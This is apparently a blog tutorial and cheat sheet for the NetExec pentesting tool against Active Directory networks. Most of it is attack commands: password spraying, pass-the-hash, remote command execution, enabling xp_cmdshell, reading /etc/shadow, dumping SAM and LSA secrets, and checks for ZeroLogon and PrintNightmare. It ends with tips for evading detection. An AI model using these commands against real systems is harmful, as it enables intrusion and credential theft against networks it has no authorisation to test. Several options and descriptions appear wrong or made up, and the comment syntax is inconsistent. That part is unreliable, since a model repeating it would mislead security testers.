NetExec (nxc): The Network Exploitation Tool You Can’t Live Without

If you’re pentesting Active Directory environments, you know the pain. One tool to check SMB. Another for WinRM. Separate tools for SQL, LDAP, SSH. Each with different syntax, different output, different headaches.

NetExec (formerly CrackMapExec, now called nxc) solves this. It’s one tool to rule them all.

What NetExec Does

NetExec automates network service enumeration and exploitation. It speaks multiple protocols fluently:

One syntax. Same output format. Same credential handling across all protocols.

Installation

# Kali Linux
sudo apt install netexec

# Python pip
pipx install netexec

# Docker
docker run -it --rm netexec/nxc

# From source
git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
pipx install .

Verify:

nxc --version

Basic Syntax

nxc <protocol> <target> [options]

Examples:

# SMB scan
nxc smb 192.168.1.0/24

# LDAP enumeration
nxc ldap 192.168.1.10 -u user -p pass --users

# WinRM command execution
nxc winrm 192.168.1.50 -u admin -p Passw0rd -x "whoami"

SMB: The Workhorse

Quick Network Discovery

# Find all SMB hosts
nxc smb 192.168.1.0/24

# With hostname resolution
nxc smb 192.168.1.0/24 --local-auth

User Enumeration

# List domain users
nxc smb 192.168.1.10 -u 'user' -p 'pass' --users

# Check password policy
nxc smb 192.168.1.10 -u 'user' -p 'pass' --pass-pol

# List computers
nxc smb 192.168.1.10 -u 'user' -p 'pass' --computers

Share Access

# List all shares
nxc smb 192.168.1.10 -u 'user' -p 'pass' --shares

# Find interesting shares
nxc smb 192.168.1.10 -u 'user' -p 'pass' --shares --filter-shares read write

Credential Testing

# Password spray (be careful!)
nxc smb 192.168.1.0/24 -u users.txt -p 'Winter2025!' --continue-on-success

# Brute force (for specific accounts)
nxc smb 192.168.1.10 -u 'admin' -p passwords.txt

# Pass-the-Hash
nxc smb 192.168.1.0/24 -u 'admin' -H 'LMHASH:NTHASH'

# Pass-the-Ticket
nxc smb 192.168.1.10 -u 'admin' --kerberos-ticket ticket.ccache

Command Execution

# Execute command
nxc smb 192.168.1.10 -u 'admin' -p 'Pass' -x 'net user'

# Execute via scheduled task
nxc smb 192.168.1.10 -u 'admin' -p 'Pass' -x 'cmd.exe' --jitter 30

# PowerShell
nxc smb 192.168.1.10 -u 'admin' -p 'Pass' -X 'Get-Process'

LDAP: Domain Intel

# Basic enumeration
nxc ldap dc01.corp.local -u 'user' -p 'pass'

# Get all users
nxc ldap dc01.corp.local -u 'user' -p 'pass' --users

# Get groups
nxc ldap dc01.corp.local -u 'user' -p 'pass' --groups

# Find kerberoastable users
nxc ldap dc01.corp.local -u 'user' -p 'pass' --kerberoasting

# Find AS-REP roastable users
nxc ldap dc01.corp.local -u 'user' -p 'pass' --asreproast

# Get password policy
nxc ldap dc01.corp.local -u 'user' -p 'pass' --pass-pol

// Find delegation
nxc ldap dc01.corp.local -u 'user' -p 'pass' --trusted-for-delegation

WinRM: Remote Command Exec

# Test connection
nxc winrm 192.168.1.10 -u 'admin' -p 'Pass'

# Execute command
nxc winrm 192.168.1.10 -u 'admin' -p 'Pass' -x 'hostname'

// PowerShell
nxc winrm 192.168.1.10 -u 'admin' -p 'Pass' -X 'Get-ChildItem C:\'

# Upload file
nxc winrm 192.168.1.10 -u 'admin' -p 'Pass' --put-file local.exe remote.exe

MSSQL: Database Pivoting

# Test credentials
nxc mssql 192.168.1.10 -u 'sa' -p 'SQLPass123'

# Execute command (if xp_cmdshell enabled)
nxc mssql 192.168.1.10 -u 'sa' -p 'SQLPass123' -x 'whoami'

# Enable xp_cmdshell
nxc mssql 192.168.1.10 -u 'sa' -p 'SQLPass123' --enable-xp-cmdshell

# Query database
nxc mssql 192.168.1.10 -u 'sa' -p 'SQLPass123' -q 'SELECT @@version'

SSH: Classic Remote Access

# Password auth
nxc ssh 192.168.1.10 -u 'root' -p 'toor'

# Key auth
nxc ssh 192.168.1.10 -u 'root' --key-file id_rsa

// Execute command
nxc ssh 192.168.1.10 -u 'root' -p 'toor' -x 'cat /etc/shadow'

Modules: The Real Power

NetExec has a module system for specialized attacks:

# List all modules
nxc smb -L

# Popular modules

# Dump SAM hashes
nxc smb 192.168.1.10 -u 'admin' -p 'Pass' -M sam

# Dump LSA secrets
nxc smb 192.168.1.10 -u 'admin' -p 'Pass' -M lsa

# Check for zero logon
nxc smb 192.168.1.10 -M zerologon

# Drop the logon
nxc smb 192.168.1.10 -M drop_the_logon

# Check for PrintNightmare
nxc smb 192.168.1.10 -M printnightmare

# Check for PetitPotam
nxc smb 192.168.1.10 -M petitpotam

Credential Management

NetExec caches credentials automatically:

# View cached creds
nxc smb --list-cached-creds

# Clear cache
nxc smb --clear-cache

# Use database
nxc smb --database

The database tracks:
– Valid credentials
– Host information
– Shares found
– Group memberships

OpSec Tips

Avoid Detection

# Add jitter to commands
nxc smb target -u admin -p pass -x command --jitter 30

// Limit threads
nxc smb 192.168.1.0/24 -t 10

// Randomize target order
nxc smb 192.168.1.0/24 --randomize

# Use valid sources
nxc smb target -u admin -p pass --local-auth

What Gets Logged

• Every authentication attempt (success/failure)
• Command execution via PsExec, WMI, SMB
• PowerShell commands in Event Log

Blind cred spraying = getting caught.

Common Workflows

Initial Access

# 1. Discover SMB hosts
nxc smb 192.168.1.0/24 -t 10

# 2. Test for null sessions
nxc smb targets.txt -u '' -p ''

# 3. Password spray (carefully)
nxc smb targets.txt -u users.txt -p 'CompanyName2025!' --continue-on-success -t 1

Credential Stuffing

# Test dumped creds
nxc smb 192.168.1.0/24 -u users.txt -H hashes.txt --no-bruteforce

Lateral Movement

# Find admin access
nxc smb 192.168.1.0/24 -u 'admin' -H 'NTHASH' --admin-count

# Execute on all where admin
nxc smb 192.168.1.0/24 -u 'admin' -H 'NTHASH' -x 'hostname' --admin-count

Output Formats

# JSON output
nxc smb target -u admin -p pass -o json | jq .

# Export to file
nxc smb target -u admin -p pass --output-file results.txt

# Quiet mode (just successes)
nxc smb target -u admin -p pass --no-progress

Pro Tips

1. Combine with BloodHound data – Use collected data to find paths
2. Use with proxies – proxychains nxc smb target
3. Integrate with Metasploit – NetExec can handoff sessions
4. Chain with other tools – BloodHound -> NetExec -> Impacket = win

Comparison: nxc vs Alternatives

Resources

• Official Wiki: https://www.netexec.wiki/
• GitHub: https://github.com/Pennyw0rth/NetExec
• Discord: https://discord.gg/pjwUTQzg8R

Bottom Line

If you’re still using separate tools for SMB, LDAP, WinRM, and SQL testing, you’re wasting time.

NetExec unifies them all. Learn it. Love it. It’s the one tool you’ll use on every engagement.

nxc smb 192.168.1.0/24 -u users.txt -p 'Winter2025!' --continue-on-success

One command. Entire network. Done.